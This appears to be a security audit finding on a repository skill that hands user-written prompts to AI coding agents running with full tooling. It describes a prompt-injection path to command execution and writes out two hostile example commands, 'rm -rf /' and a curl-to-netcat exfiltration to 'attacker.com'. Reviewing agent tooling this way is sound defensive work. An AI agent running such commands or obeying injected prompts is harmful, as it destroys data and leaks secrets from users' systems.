Jamkris/everything-gemini-code:skills/claude-devfleet

The skill description explicitly states that 'Each agent runs in an isolated git worktree with full tooling.' The `plan_project` and `create_mission` tools accept user-provided prompts, which are then interpreted by an AI agent within the DevFleet system. This 'full tooling' capability, combined with user-controlled prompts, creates a credible exploit path for command injection and data exfiltration. If the underlying DevFleet agents are not rigorously sandboxed, a malicious user prompt could instruct an agent to execute arbitrary commands (e.g., `rm -rf /`, `curl sensitive_data | nc attacker.com`) or exfiltrate data from the agent's environment or even the host system if the isolation is weak. The skill acts as a conduit for these potentially malicious instructions to the powerful agents.